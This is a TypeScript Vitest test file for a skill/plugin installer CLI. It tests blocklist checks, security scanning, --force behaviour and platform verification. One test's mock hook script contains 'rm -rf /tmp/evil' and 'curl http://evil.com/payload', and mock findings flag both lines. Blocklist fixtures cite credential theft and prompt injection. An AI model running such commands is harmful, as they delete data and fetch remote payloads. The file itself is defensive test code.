import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";

// ---------------------------------------------------------------------------
// Mock node:fs
// ---------------------------------------------------------------------------
const mockMkdirSync = vi.fn();
const mockMkdtempSync = vi.fn().mockReturnValue("/tmp/vskill-marketplace-abc123");
const mockWriteFileSync = vi.fn();
const mockReadFileSync = vi.fn();
const mockExistsSync = vi.fn();
const mockCpSync = vi.fn();
const mockChmodSync = vi.fn();
const mockReaddirSync = vi.fn();
const mockStatSync = vi.fn();
const mockCopyFileSync = vi.fn();
const mockRmSync = vi.fn();

vi.mock("node:fs", () => ({
  mkdirSync: (...args: unknown[]) => mockMkdirSync(...args),
  mkdtempSync: (...args: unknown[]) => mockMkdtempSync(...args),
  writeFileSync: (...args: unknown[]) => mockWriteFileSync(...args),
  readFileSync: (...args: unknown[]) => mockReadFileSync(...args),
  existsSync: (...args: unknown[]) => mockExistsSync(...args),
  cpSync: (...args: unknown[]) => mockCpSync(...args),
  chmodSync: (...args: unknown[]) => mockChmodSync(...args),
  readdirSync: (...args: unknown[]) => mockReaddirSync(...args),
  statSync: (...args: unknown[]) => mockStatSync(...args),
  copyFileSync: (...args: unknown[]) => mockCopyFileSync(...args),
  rmSync: (...args: unknown[]) => mockRmSync(...args),
}));

// ---------------------------------------------------------------------------
// Mock node:os (control homedir for global lockfile tests)
// ---------------------------------------------------------------------------
const mockHomedir = vi.fn().mockReturnValue("/home/testuser");
const mockTmpdir = vi.fn().mockReturnValue("/tmp");
vi.mock("node:os", () => ({
  default: { homedir: () => mockHomedir(), tmpdir: () => mockTmpdir() },
  homedir: () => mockHomedir(),
  tmpdir: () => mockTmpdir(),
}));

// ---------------------------------------------------------------------------
// Mock node:path (pass-through with join tracking)
// ---------------------------------------------------------------------------
vi.mock("node:path", async () => {
  const actual = await vi.importActual<typeof import("node:path")>("node:path");
  return {
    ...actual,
    join: (...args: string[]) => actual.join(...args),
  };
});

// ---------------------------------------------------------------------------
// Mock node:child_process
// ---------------------------------------------------------------------------
const mockExecSync = vi.fn();
const mockExecFileSync = vi.fn();
vi.mock("node:child_process", () => ({
  execSync: (...args: unknown[]) => mockExecSync(...args),
  // 0724 T-006 (F-001 fix): the new claude-plugin enable hook calls
  // execFileSync; without this mock the hook would crash in CI tests that
  // don't have `claude` on PATH.
  execFileSync: (...args: unknown[]) => mockExecFileSync(...args),
}));

// ---------------------------------------------------------------------------
// Mock node:crypto
// ---------------------------------------------------------------------------
const MOCK_SHA_64 = "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2";
vi.mock("node:crypto", () => ({
  createHash: () => {
    const obj = {
      update: vi.fn().mockImplementation(() => obj),
      digest: vi.fn().mockReturnValue(MOCK_SHA_64),
    };
    return obj;
  },
}));

// ---------------------------------------------------------------------------
// Mock agents registry
// ---------------------------------------------------------------------------
const mockDetectInstalledAgents = vi.fn();
vi.mock("../agents/agents-registry.js", () => ({
  detectInstalledAgents: (...args: unknown[]) => mockDetectInstalledAgents(...args),
  AGENTS_REGISTRY: [
    { id: "claude-code", displayName: "Claude Code", isUniversal: false, parentCompany: "Anthropic", localSkillsDir: ".claude/commands", globalSkillsDir: "~/.claude/commands" },
    { id: "cursor", displayName: "Cursor", isUniversal: false, parentCompany: "Anysphere", localSkillsDir: ".cursor/commands", globalSkillsDir: "~/.cursor/commands" },
  ],
}));

// ---------------------------------------------------------------------------
// Mock lockfile
// ---------------------------------------------------------------------------
const mockEnsureLockfile = vi.fn();
const mockWriteLockfile = vi.fn();
const mockReadLockfile = vi.fn().mockReturnValue(null);
const mockRemoveSkillFromLock = vi.fn();
vi.mock("../lockfile/index.js", () => ({
  ensureLockfile: (...args: unknown[]) => mockEnsureLockfile(...args),
  writeLockfile: (...args: unknown[]) => mockWriteLockfile(...args),
  readLockfile: (...args: unknown[]) => mockReadLockfile(...args),
  removeSkillFromLock: (...args: unknown[]) => mockRemoveSkillFromLock(...args),
}));

// ---------------------------------------------------------------------------
// Mock scanner
// ---------------------------------------------------------------------------
const mockRunTier1Scan = vi.fn();
vi.mock("../scanner/index.js", () => ({
  runTier1Scan: (...args: unknown[]) => mockRunTier1Scan(...args),
}));

// ---------------------------------------------------------------------------
// Mock blocklist
// ---------------------------------------------------------------------------
const mockCheckBlocklist = vi.fn();
const mockCheckInstallSafety = vi.fn();
vi.mock("../blocklist/blocklist.js", () => ({
  checkBlocklist: (...args: unknown[]) => mockCheckBlocklist(...args),
  checkInstallSafety: (...args: unknown[]) => mockCheckInstallSafety(...args),
}));

// ---------------------------------------------------------------------------
// Mock security (platform security check)
// ---------------------------------------------------------------------------
const mockCheckPlatformSecurity = vi.fn();
vi.mock("../security/index.js", () => ({
  checkPlatformSecurity: (...args: unknown[]) => mockCheckPlatformSecurity(...args),
}));

// ---------------------------------------------------------------------------
// Mock API client (registry lookup + search)
// ---------------------------------------------------------------------------
const mockGetSkill = vi.fn();
const mockSearchSkills = vi.fn();
vi.mock("../api/client.js", () => ({
  getSkill: (...args: unknown[]) => mockGetSkill(...args),
  searchSkills: (...args: unknown[]) => mockSearchSkills(...args),
  reportInstall: vi.fn().mockResolvedValue(undefined),
  reportInstallBatch: vi.fn().mockResolvedValue(undefined),
  submitSkill: vi.fn().mockResolvedValue(undefined),
}));

// ---------------------------------------------------------------------------
// Mock discovery (GitHub Trees skill discovery)
// ---------------------------------------------------------------------------
const mockDiscoverSkills = vi.fn();
const mockGetDefaultBranch = vi.fn().mockResolvedValue("main");
const mockCheckRepoExists = vi.fn().mockResolvedValue(true);
vi.mock("../discovery/github-tree.js", () => ({
  discoverSkills: (...args: unknown[]) => mockDiscoverSkills(...args),
  getDefaultBranch: (...args: unknown[]) => mockGetDefaultBranch(...args),
  checkRepoExists: (...args: unknown[]) => mockCheckRepoExists(...args),
  warnRateLimitOnce: vi.fn(),
}));

// ---------------------------------------------------------------------------
// Mock project root resolution
// ---------------------------------------------------------------------------
const mockFindProjectRoot = vi.fn();
vi.mock("../utils/project-root.js", () => ({
  findProjectRoot: (...args: unknown[]) => mockFindProjectRoot(...args),
}));

// ---------------------------------------------------------------------------
// Mock agent filter (pass-through by default)
// ---------------------------------------------------------------------------
const mockFilterAgents = vi.fn();
vi.mock("../utils/agent-filter.js", () => ({
  filterAgents: (...args: unknown[]) => mockFilterAgents(...args),
}));

// ---------------------------------------------------------------------------
// Mock utils/prompts (interactive prompts)
// ---------------------------------------------------------------------------
const mockIsTTY = vi.fn().mockReturnValue(false);
const mockPromptCheckboxList = vi.fn();
const mockPromptConfirm = vi.fn();
const mockPromptChoice = vi.fn();
vi.mock("../utils/prompts.js", () => ({
  isTTY: (...args: unknown[]) => mockIsTTY(...args),
  createPrompter: () => ({
    promptCheckboxList: (...args: unknown[]) => mockPromptCheckboxList(...args),
    promptConfirm: (...args: unknown[]) => mockPromptConfirm(...args),
    promptChoice: (...args: unknown[]) => mockPromptChoice(...args),
  }),
}));

// ---------------------------------------------------------------------------
// Mock utils/output (suppress console output in tests)
// ---------------------------------------------------------------------------
vi.mock("../utils/output.js", () => ({
  bold: (s: string) => s,
  green: (s: string) => s,
  red: (s: string) => s,
  yellow: (s: string) => s,
  dim: (s: string) => s,
  cyan: (s: string) => s,
  spinner: () => ({ stop: vi.fn() }),
  link: (_href: string, text: string) => text,
  formatInstalls: (n: number) => String(n),
}));

// ---------------------------------------------------------------------------
// Mock canonical installer
// ---------------------------------------------------------------------------
const mockInstallSymlink = vi.fn().mockReturnValue([]);
const mockInstallCopy = vi.fn().mockReturnValue([]);
vi.mock("../installer/canonical.js", () => ({
  installSymlink: (...args: unknown[]) => mockInstallSymlink(...args),
  installCopy: (...args: unknown[]) => mockInstallCopy(...args),
}));

// ---------------------------------------------------------------------------
// Mock getMarketplaceName + discoverUnregisteredPlugins (preserve real marketplace functions)
// ---------------------------------------------------------------------------
const mockGetMarketplaceName = vi.fn().mockReturnValue(null);
const mockDiscoverUnregisteredPlugins = vi.fn().mockResolvedValue({ plugins: [], failed: false });
vi.mock("../marketplace/index.js", async () => {
  const actual = await vi.importActual<typeof import("../marketplace/index.js")>("../marketplace/index.js");
  return {
    ...actual,
    getMarketplaceName: (...args: unknown[]) => mockGetMarketplaceName(...args),
    discoverUnregisteredPlugins: (...args: unknown[]) => mockDiscoverUnregisteredPlugins(...args),
  };
});

// ---------------------------------------------------------------------------
// Import module under test AFTER mocks
// ---------------------------------------------------------------------------
const { addCommand, detectMarketplaceRepo } = await import("./add.js");

// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------

function makeScanResult(overrides: Record<string, unknown> = {}) {
  return {
    verdict: "PASS",
    findings: [],
    score: 100,
    patternsChecked: 37,
    criticalCount: 0,
    highCount: 0,
    mediumCount: 0,
    lowCount: 0,
    infoCount: 0,
    durationMs: 1,
    ...overrides,
  };
}

function makeAgent(overrides: Record<string, unknown> = {}) {
  return {
    id: "claude-code",
    displayName: "Claude Code",
    localSkillsDir: ".claude/commands",
    globalSkillsDir: "~/.claude/commands",
    ...overrides,
  };
}

// ---------------------------------------------------------------------------
// Tests
// ---------------------------------------------------------------------------

beforeEach(() => {
  vi.clearAllMocks();
  // Suppress console output during tests
  vi.spyOn(console, "log").mockImplementation(() => {});
  vi.spyOn(console, "error").mockImplementation(() => {});
  // Default: platform security returns null (non-fatal, no external results)
  mockCheckPlatformSecurity.mockResolvedValue(null);
  // Default: findProjectRoot returns cwd (same as old behavior)
  mockFindProjectRoot.mockReturnValue(process.cwd());
  // Default: filterAgents passes through agents unchanged
  mockFilterAgents.mockImplementation((agents: unknown[]) => agents);
});

describe("addCommand with --plugin option (plugin directory support)", () => {
  beforeEach(() => {
    // Plugin path hits blocklist check first — return null (not blocked)
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
  });

  // TC-001: --plugin <name> flag selects sub-plugin from multi-plugin repo
  describe("TC-001: plugin flag selects sub-plugin directory", () => {
    it("selects the frontend plugin directory from a local path with plugins/ structure", async () => {
      const localPath = "/tmp/test-repo";

      // The plugin directory path: /tmp/test-repo/plugins/frontend/
      mockExistsSync.mockImplementation((p: string) => {
        if (p.includes("plugins/frontend")) return true;
        if (p.includes(".claude-plugin/marketplace.json")) return true;
        return false;
      });

      mockReadFileSync.mockImplementation((p: string) => {
        if (p.includes("marketplace.json")) {
          return JSON.stringify({
            name: "specweave",
            version: "1.0.225",
            plugins: [
              { name: "sw", source: "./plugins/specweave", version: "1.0.225" },
              { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
            ],
          });
        }
        return "";
      });

      // readdirSync: recursive for collectPluginContent, non-recursive for copyPluginFiltered
      mockReaddirSync.mockImplementation((_dir: string, opts?: unknown) => {
        if (typeof opts === "object" && opts !== null && (opts as Record<string, unknown>).recursive) {
          return ["skills/SKILL.md", "hooks/setup.sh"];
        }
        // copyPluginFiltered calls readdirSync without recursive
        return ["SKILL.md"];
      });

      // statSync for copyPluginFiltered: treat everything as a file
      mockStatSync.mockReturnValue({ isDirectory: () => false, isFile: () => true });

      mockRunTier1Scan.mockReturnValue(makeScanResult());
      mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
      mockEnsureLockfile.mockReturnValue({
        version: 1,
        agents: [],
        skills: {},
        createdAt: "2026-01-01T00:00:00.000Z",
        updatedAt: "2026-01-01T00:00:00.000Z",
      });

      // Call addCommand with plugin option and pluginDir (local source)
      await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });

      // SKILL.md is processed via ensureFrontmatter and written with writeFileSync
      const writeCall = mockWriteFileSync.mock.calls.find(
        (c: unknown[]) => typeof c[0] === "string" && (c[0] as string).endsWith("SKILL.md")
      );
      expect(writeCall).toBeDefined();
      // The written content should contain frontmatter (name field injected by ensureFrontmatter)
      expect(writeCall![1]).toContain("name:");
    });
  });

  // resolvePluginDir falls back to plugins/ folder when not in marketplace.json
  describe("resolvePluginDir falls back to plugins/ folder", () => {
    it("installs from plugins/<name> folder when plugin not in marketplace.json (local)", async () => {
      const localPath = "/tmp/test-repo";

      mockExistsSync.mockImplementation((p: string) => {
        // marketplace.json exists but won't contain "newplugin"
        if (typeof p === "string" && p.includes(".claude-plugin/marketplace.json")) return true;
        // The fallback directory plugins/newplugin exists
        if (typeof p === "string" && p.includes("plugins/newplugin")) return true;
        return false;
      });

      mockStatSync.mockImplementation((p: string) => {
        // Only the base directory is a directory, not files inside it
        if (typeof p === "string" && p.endsWith("plugins/newplugin")) {
          return { isDirectory: () => true, isFile: () => false };
        }
        return { isDirectory: () => false, isFile: () => true };
      });

      mockReadFileSync.mockImplementation((p: string) => {
        if (typeof p === "string" && p.includes("marketplace.json")) {
          // Marketplace only has "sw", NOT "newplugin"
          return JSON.stringify({
            name: "specweave",
            version: "1.0.0",
            plugins: [
              { name: "sw", source: "./plugins/specweave", version: "1.0.0" },
            ],
          });
        }
        return "";
      });

      // readdirSync for collectPluginContent and copyPluginFiltered
      mockReaddirSync.mockImplementation((_dir: string, opts?: unknown) => {
        if (typeof opts === "object" && opts !== null && (opts as Record<string, unknown>).recursive) {
          return ["skills/SKILL.md"];
        }
        return ["SKILL.md"];
      });

      mockRunTier1Scan.mockReturnValue(makeScanResult());
      mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
      mockEnsureLockfile.mockReturnValue({
        version: 1,
        agents: [],
        skills: {},
        createdAt: "2026-01-01T00:00:00.000Z",
        updatedAt: "2026-01-01T00:00:00.000Z",
      });

      await addCommand(localPath, { plugin: "newplugin", pluginDir: localPath });

      // SKILL.md is processed via ensureFrontmatter and written with writeFileSync
      const writeCall = mockWriteFileSync.mock.calls.find(
        (c: unknown[]) => typeof c[0] === "string" && (c[0] as string).endsWith("SKILL.md")
      );
      expect(writeCall).toBeDefined();
    });
  });

  // TC-002: Full directory structure preserved on installation
  describe("TC-002: full directory structure is preserved", () => {
    it("recursively copies all subdirectories (skills, hooks, commands, agents, .claude-plugin) to cache", async () => {
      const localPath = "/tmp/test-plugin";

      mockExistsSync.mockReturnValue(true);
      mockReadFileSync.mockImplementation((p: string) => {
        if (p.includes("marketplace.json")) {
          return JSON.stringify({
            name: "specweave",
            version: "1.0.0",
            plugins: [
              { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
            ],
          });
        }
        return "# Plugin content";
      });

      // copyPluginFiltered walks the tree: top-level has dirs, each dir has a file
      let depth = 0;
      mockReaddirSync.mockImplementation((_dir: string, opts?: unknown) => {
        // collectPluginContent uses { recursive: true }
        if (typeof opts === "object" && opts !== null && (opts as Record<string, unknown>).recursive) {
          return ["skills/SKILL.md", "hooks/setup.sh"];
        }
        // copyPluginFiltered: first call returns subdirs, deeper calls return files
        if (depth === 0) {
          depth++;
          return ["skills", "hooks"];
        }
        return ["SKILL.md"];
      });

      mockStatSync.mockImplementation((p: string) => ({
        isDirectory: () => p.endsWith("skills") || p.endsWith("hooks"),
        isFile: () => !p.endsWith("skills") && !p.endsWith("hooks"),
      }));

      mockRunTier1Scan.mockReturnValue(makeScanResult());
      mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
      mockEnsureLockfile.mockReturnValue({
        version: 1,
        agents: [],
        skills: {},
        createdAt: "2026-01-01T00:00:00.000Z",
        updatedAt: "2026-01-01T00:00:00.000Z",
      });

      await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });

      // mkdirSync is called for each directory level (recursive copy)
      expect(mockMkdirSync).toHaveBeenCalled();
      // SKILL.md files are processed via ensureFrontmatter and written with writeFileSync
      const skillWrites = mockWriteFileSync.mock.calls.filter(
        (c: unknown[]) => typeof c[0] === "string" && (c[0] as string).endsWith("SKILL.md")
      );
      expect(skillWrites.length).toBeGreaterThan(0);
      // Verify it created subdirectory structure
      const mkdirCalls = mockMkdirSync.mock.calls.map((c: unknown[]) => String(c[0]));
      expect(mkdirCalls.some((p: string) => p.includes("skills") || p.includes("hooks"))).toBe(true);
    });
  });

  // TC-003: Hook script permissions fixed
  describe("TC-003: hook scripts get executable permission", () => {
    it("sets chmod 0o755 on all .sh files in hooks/ after install", async () => {
      const localPath = "/tmp/test-plugin";

      mockExistsSync.mockReturnValue(true);
      mockReadFileSync.mockImplementation((p: string) => {
        if (p.includes("marketplace.json")) {
          return JSON.stringify({
            name: "specweave",
            version: "1.0.0",
            plugins: [
              { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
            ],
          });
        }
        return "# Hook content";
      });

      // When scanning for .sh files in the installed directory
      mockReaddirSync.mockImplementation((dir: string, opts?: unknown) => {
        // Return file entries when called with recursive option
        if (typeof opts === "object" && opts !== null && (opts as Record<string, unknown>).recursive) {
          return [
            "hooks/pre-install.sh",
            "hooks/post-install.sh",
            "skills/SKILL.md",
            "commands/init.md",
          ];
        }
        return [];
      });

      mockRunTier1Scan.mockReturnValue(makeScanResult());
      mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
      mockEnsureLockfile.mockReturnValue({
        version: 1,
        agents: [],
        skills: {},
        createdAt: "2026-01-01T00:00:00.000Z",
        updatedAt: "2026-01-01T00:00:00.000Z",
      });

      await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });

      // chmodSync should be called for each .sh file with 0o755
      const chmodCalls = mockChmodSync.mock.calls;
      const shCalls = chmodCalls.filter(
        (call: unknown[]) => typeof call[0] === "string" && (call[0] as string).endsWith(".sh")
      );
      expect(shCalls.length).toBeGreaterThanOrEqual(2);
      for (const call of shCalls) {
        expect(call[1]).toBe(0o755);
      }
    });
  });

  // TC-004: Security scanning covers all plugin files
  describe("TC-004: security scan covers all plugin files", () => {
    it("scans concatenated content from all plugin files, not just SKILL.md", async () => {
      const localPath = "/tmp/test-plugin";

      mockExistsSync.mockReturnValue(true);

      const hookContent = "#!/bin/bash\nrm -rf /tmp/evil\ncurl http://evil.com/payload";
      const skillContent = "# My Skill\nSafe content here";

      mockReadFileSync.mockImplementation((p: string) => {
        if (p.includes("marketplace.json")) {
          return JSON.stringify({
            name: "specweave",
            version: "1.0.0",
            plugins: [
              { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
            ],
          });
        }
        if (p.includes("hooks/")) return hookContent;
        if (p.includes("SKILL.md")) return skillContent;
        return "";
      });

      mockReaddirSync.mockImplementation((dir: string, opts?: unknown) => {
        if (typeof opts === "object" && opts !== null && (opts as Record<string, unknown>).recursive) {
          return [
            "hooks/deploy.sh",
            "skills/SKILL.md",
          ];
        }
        return [];
      });

      // The scan should receive concatenated content from all files
      mockRunTier1Scan.mockReturnValue(
        makeScanResult({
          verdict: "FAIL",
          score: 20,
          findings: [
            {
              patternId: "FS-001",
              patternName: "Recursive delete",
              severity: "critical",
              category: "filesystem-access",
              match: "rm -rf",
              lineNumber: 2,
              context: "rm -rf /tmp/evil",
            },
            {
              patternId: "NA-001",
              patternName: "Curl/wget to unknown host",
              severity: "high",
              category: "network-access",
              match: 'curl http://evil.com/payload',
              lineNumber: 3,
              context: "curl http://evil.com/payload",
            },
          ],
          criticalCount: 1,
          highCount: 1,
        })
      );

      mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
      mockEnsureLockfile.mockReturnValue({
        version: 1,
        agents: [],
        skills: {},
        createdAt: "2026-01-01T00:00:00.000Z",
        updatedAt: "2026-01-01T00:00:00.000Z",
      });

      // Force install despite failure to reach lockfile update
      await addCommand(localPath, {
        plugin: "frontend",
        pluginDir: localPath,
        force: true,
      });

      // runTier1Scan should have been called with content containing hook file data
      expect(mockRunTier1Scan).toHaveBeenCalled();
      const scannedContent = mockRunTier1Scan.mock.calls[0][0] as string;
      // The scanned content should include hook file content (rm -rf, curl)
      expect(scannedContent).toContain("rm -rf");
      expect(scannedContent).toContain("curl");
    });
  });
});

// ---------------------------------------------------------------------------
// T-013: Blocklist check in GitHub path
// ---------------------------------------------------------------------------

describe("addCommand blocklist check (GitHub path)", () => {
  // Mock global fetch for GitHub path tests
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Safe Skill\nNormal content",
    }) as unknown as typeof fetch;
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("blocks installation when skill is on the blocklist", async () => {
    mockCheckInstallSafety.mockResolvedValue({
      blocked: true,
      entry: {
        skillName: "evil-repo",
        threatType: "credential-theft",
        severity: "critical",
        reason: "Steals AWS credentials",
        evidenceUrls: [],
        discoveredAt: "2026-02-01T00:00:00Z",
      },
      rejected: false,
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
      throw new Error("process.exit");
    });

    await expect(
      addCommand("owner/evil-repo", {}),
    ).rejects.toThrow("process.exit");

    expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-repo", undefined, "https://github.com/owner/evil-repo");
    expect(mockExit).toHaveBeenCalledWith(1);

    // Tier 1 scan should NOT have been called (blocked before scan)
    expect(mockRunTier1Scan).not.toHaveBeenCalled();

    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("BLOCKED");
    expect(errorOutput).toContain("credential-theft");
    expect(errorOutput).toContain("https://verified-skill.com/skills/evil-repo");

    mockExit.mockRestore();
  });

  it("proceeds normally when skill is NOT on the blocklist", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/safe-repo", {});

    expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-repo", undefined, "https://github.com/owner/safe-repo");
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });

  it("uses --skill name for blocklist check when provided", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/repo", { skill: "my-skill" });

    expect(mockCheckInstallSafety).toHaveBeenCalledWith("my-skill", undefined, "https://github.com/owner/repo");
  });
});

// ---------------------------------------------------------------------------
// T-014: Blocklist check in plugin path
// ---------------------------------------------------------------------------

describe("addCommand blocklist check (plugin path)", () => {
  it("blocks plugin installation when plugin is on the blocklist", async () => {
    mockCheckInstallSafety.mockResolvedValue({
      blocked: true,
      entry: {
        skillName: "evil-plugin",
        threatType: "prompt-injection",
        severity: "critical",
        reason: "Injects malicious prompts",
        evidenceUrls: [],
        discoveredAt: "2026-02-01T00:00:00Z",
      },
      rejected: false,
    });

    mockExistsSync.mockReturnValue(true);
    mockReadFileSync.mockImplementation((p: string) => {
      if (p.includes("marketplace.json")) {
        return JSON.stringify({
          name: "test",
          version: "1.0.0",
          plugins: [
            { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
          ],
        });
      }
      return "";
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
      throw new Error("process.exit");
    });

    await expect(
      addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test" }),
    ).rejects.toThrow("process.exit");

    expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-plugin", undefined, undefined);
    expect(mockRunTier1Scan).not.toHaveBeenCalled();

    mockExit.mockRestore();
  });

  it("proceeds with plugin installation when not blocklisted", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockExistsSync.mockReturnValue(true);
    mockReadFileSync.mockImplementation((p: string) => {
      if (p.includes("marketplace.json")) {
        return JSON.stringify({
          name: "test",
          version: "1.0.0",
          plugins: [
            { name: "safe-plugin", source: "./plugins/safe-plugin", version: "1.0.0" },
          ],
        });
      }
      return "";
    });

    mockReaddirSync.mockReturnValue(["SKILL.md"]);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("source", { plugin: "safe-plugin", pluginDir: "/tmp/test" });

    expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-plugin", undefined, undefined);
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });
});

// ---------------------------------------------------------------------------
// T-015: --force does NOT override blocked skills
// ---------------------------------------------------------------------------

describe("addCommand --force with blocked skill", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("shows warning but continues with --force (GitHub path)", async () => {
    mockCheckInstallSafety.mockResolvedValue({
      blocked: true,
      entry: {
        skillName: "evil-skill",
        threatType: "credential-theft",
        severity: "critical",
        reason: "Base64-encoded AWS credential exfil",
        evidenceUrls: [],
        discoveredAt: "2026-02-01T00:00:00Z",
      },
      rejected: false,
    });

    await addCommand("owner/evil-skill", { force: true });

    // --force should show WARNING and continue to tier 1 scan
    expect(mockRunTier1Scan).toHaveBeenCalled();

    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("WARNING");
    expect(errorOutput).toContain("https://verified-skill.com/skills/evil-skill");
  });

  it("shows warning but continues with --force (plugin path)", async () => {
    mockCheckInstallSafety.mockResolvedValue({
      blocked: true,
      entry: {
        skillName: "evil-plugin",
        threatType: "prompt-injection",
        severity: "critical",
        reason: "Injects malicious prompts",
        evidenceUrls: [],
        discoveredAt: "2026-02-01T00:00:00Z",
      },
      rejected: false,
    });

    mockExistsSync.mockReturnValue(true);
    mockReadFileSync.mockImplementation((p: string) => {
      if (p.includes("marketplace.json")) {
        return JSON.stringify({
          name: "test",
          version: "1.0.0",
          plugins: [
            { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
          ],
        });
      }
      return "";
    });

    await addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test", force: true });

    // --force should show WARNING and continue
    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("WARNING");
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });
});

// ---------------------------------------------------------------------------
// T-015b: Rejected skill shows warning but proceeds with installation
// ---------------------------------------------------------------------------

describe("addCommand with rejected skill", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Rejected Skill\nContent here",
    }) as unknown as typeof fetch;
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("shows warning with details link but proceeds (GitHub path)", async () => {
    mockCheckInstallSafety.mockResolvedValue({
      blocked: false,
      rejected: true,
      rejection: {
        skillName: "sketchy-skill",
        state: "REJECTED",
        reason: "Verification failed (REJECTED)",
        score: 25,
        rejectedAt: "2026-02-25T05:26:33.762Z",
      },
    });

    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    await addCommand("owner/sketchy-skill", {});

    // Should show warning
    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("WARNING");
    expect(errorOutput).toContain("failed platform verification");
    expect(errorOutput).toContain("25/100");
    expect(errorOutput).toContain("https://verified-skill.com/skills/sketchy-skill");

    // Should still proceed to tier 1 scan and install
    expect(mockRunTier1Scan).toHaveBeenCalled();
  });
});

// ---------------------------------------------------------------------------
// T-016/T-017: Platform security check in GitHub path
// ---------------------------------------------------------------------------

describe("addCommand platform security check (GitHub path)", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Safe Skill\nNormal content",
    }) as unknown as typeof fetch;

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("blocks installation when platform reports CRITICAL findings", async () => {
    mockCheckPlatformSecurity.mockResolvedValue({
      hasCritical: true,
      overallVerdict: "FAIL",
      providers: [
        { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 3 },
        { provider: "snyk", status: "PASS", verdict: "clean", criticalCount: 0 },
      ],
      reportUrl: "/skills/evil-skill/security",
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
      throw new Error("process.exit");
    });

    await expect(
      addCommand("owner/evil-skill", {}),
    ).rejects.toThrow("process.exit");

    expect(mockExit).toHaveBeenCalledWith(1);

    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("BLOCKED");
    expect(errorOutput).toContain("CRITICAL");
    expect(errorOutput).toContain("semgrep");

    // Should NOT proceed to tier 1 scan
    expect(mockRunTier1Scan).not.toHaveBeenCalled();

    mockExit.mockRestore();
  });

